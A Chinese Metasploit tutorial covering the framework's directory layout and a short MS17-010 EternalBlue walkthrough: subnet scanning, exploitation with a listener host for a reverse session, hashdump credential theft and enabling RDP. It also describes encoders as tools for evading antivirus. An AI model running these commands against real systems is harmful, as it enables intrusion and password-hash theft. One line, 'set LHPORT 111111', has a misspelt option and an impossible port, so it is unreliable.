MSF基础知识
更新 Metasploit:
sudo apt update && sudo apt upgrade metasploit-framework
安装目录
┌──(root㉿kali)-[~/桌面]
└─# which msfconsole
/usr/bin/msfconsole┌──(root㉿kali)-[/usr/bin]
└─# ls -l /usr/bin/msfconsole
lrwxrwxrwx 1 root root 28 2024年 2月13日 /usr/bin/msfconsole -> /etc/alternatives/msfconsole┌──(root㉿kali)-[/usr/bin]
└─# ls -l /etc/alternatives/msfconsole
lrwxrwxrwx 1 root root 42 2024年 2月13日 /etc/alternatives/msfconsole -> /usr/share/metasploit-framework/msfconsole
及其路径为/usr/share/metasploit-framework/msfconsole
进入metasploit-framework
中
┌──(root㉿kali)-[/usr/share/metasploit-framework]
└─# ls
app data docs Gemfile lib modules msfd msf-json-rpc.ru msfrpcd msfvenom plugins ruby script-password scripts vendor
config db documentation Gemfile.lock metasploit-framework.gemspec msfconsole msfdb msfrpc msfupdate msf-ws.ru Rakefile script-exploit script-recon tools
主要进行来了解modules
文件夹
1. modules/- 模块库(最重要的目录)
这是 MSF 的“武器库”,所有的攻击、扫描、辅助功能都以模块的形式存放在这里。这是你作为渗透测试员最需要关注的目录。
exploits/
: 漏洞利用模块。存放针对各种系统、服务、应用程序的漏洞利用代码。按目标系统分类(如 /windows/, /linux/, /multi/, /android/等)。这是发起攻击的“炮弹”。
payloads/
: 有效载荷模块。用于生成在成功利用漏洞后执行的代码(即木马、后门)。例如 Meterpreter、Shellcode、单行命令等。msfvenom工具主要调用这里的模块。
auxiliary/
: 辅助模块。不直接进行漏洞利用,但渗透测试中必不可少的功能集合。包括扫描器(端口、服务、漏洞)、嗅探器、爆破工具(HTTP, FTP, SSH 等)、信息收集工具(如 scanner/discovery/arp_sweep)。
post/
: 后渗透模块。在已经获得一个会话(Session)之后,用于进行内网横向移动、权限提升、信息搜集、持久化驻留等操作。这是内网渗透的核心。
encoders/
: 编码器模块。用于对 Payload 进行编码和混淆,目的是绕过杀毒软件(AV)和入侵防御系统(IPS)的检测,即免杀。
nops/
: 空指令模块。生成空指令序列,在构造漏洞利用代码时用于提高稳定性和兼容性。
2. lib/- 库文件
MSF 的“大脑”和“骨架”。包含了框架运行所需的所有 Ruby 库文件。当你开发自定义模块或脚本时,需要调用这里的库。除非你做二次开发,否则一般不需要直接修改。
3. tools/- 独立工具脚本
存放一些非常实用且可以独立于 msfconsole运行的 Ruby 脚本。
经典工具:
pattern_create.rb
:生成一段特殊的、不重复的字符串(De Bruijn 序列),用于在漏洞利用中精确定位返回地址(EIP/RIP)的偏移量。
pattern_offset.rb
:根据崩溃时寄存器中的值,计算出自 pattern_create.rb生成的字符串的确切偏移量。
nasm_shell.rb
:一个简单的 NASM 汇编 shell,用于快速将汇编指令转换为操作码(Opcode)。
4. scripts/- 脚本资源
主要包含 Meterpreter 和其他功能的脚本资源。这些脚本通常是在获得会话后,在 Meterpreter 内部使用 run命令来执行的(例如 run post/windows/gather/checkvm)。
5. plugins/- 插件
用于扩展 msfconsole本身的功能。加载插件后,可以在控制台内使用新的命令。例如 load nessus可以集成 Nessus 扫描器。
6. data/- 数据文件
存放 MSF 运行所需的各种静态数据文件,例如单词列表(用于爆破)、漏洞利用所需的特定模式数据、Shellcode 源等。
7. docs/& documentation/- 文档
官方文档和使用说明。
8. config/- 框架默认配置
MSF 框架本身的默认配置文件。注意:这与用户个人的配置文件 ~/.msf4/config不同,这里的配置会被系统更新覆盖。
核心可执行文件(命令入口)
这些是你在终端中直接调用的命令,它们都是 Ruby 脚本:
msfconsole
: 主控制台。最强大、最常用的交互式界面。
msfvenom
: Payload 生成器。用于生成各种格式的有效载荷(木马文件),是制作免杀shell的核心工具。它结合了旧版的 msfpayload和 msfencode的功能。
msfdb
: 数据库管理工具。用于初始化、启动、停止和状态查看与 MSF 配套的 PostgreSQL 数据库(msfdb init, msfdb start)。
msfd
: Metasploit 守护进程。提供一个远程的 MSF 控制台接口。
msfrpcd
: RPC 守护进程。提供远程程序调用接口,允许其他程序(如 Python 脚本)通过 API 与 MSF 交互。
msfupdate
: 更新工具(现已基本被系统的 apt update取代)。
小结
路径/文件 | 核心作用 | 渗透阶段 |
---|---|---|
modules/exploits/ | 攻击突破口 | 初始入侵 |
modules/payloads/ | 生成后门木马 | 载荷生成 |
modules/auxiliary/ | 信息收集、扫描、爆破 | 侦察 |
modules/post/ | 横移、提权、权限维持 | 后渗透(内网核心) |
modules/encoders/ | 代码混淆免杀 | 绕过防御 |
tools/ | 漏洞利用辅助计算 | exploit 开发 |
msfconsole | 总指挥中心 | 全程 |
msfvenom | 木马制造工厂 | 载荷生成 |
在实战中我们经常使用到modules里面的内容,以实战我们进行利用ms17漏洞为例
1.搜索模块:
msf6 > search ms17-010
2.使用扫描器进行网段探测 (非常重要,避免盲目攻击):
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.0/24 # 设置目标网段
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
3.利用漏洞获取Shell:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.10 # 设置具体目标IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5 # 设置监听主机(你的Kali IP)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHPORT 111111 # 设置监听主机端口
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
4.后渗透 - 抓取哈希:
meterpreter > hashdump
• 作用: 从目标机器的SAM数据库中提取用户名和密码哈希(NTLM),用于后续的密码破解或PtH(Pass-the-Hash)攻击。
5.后渗透 - 启用RDP:
meterpreter > run post/windows/manage/enable_rdp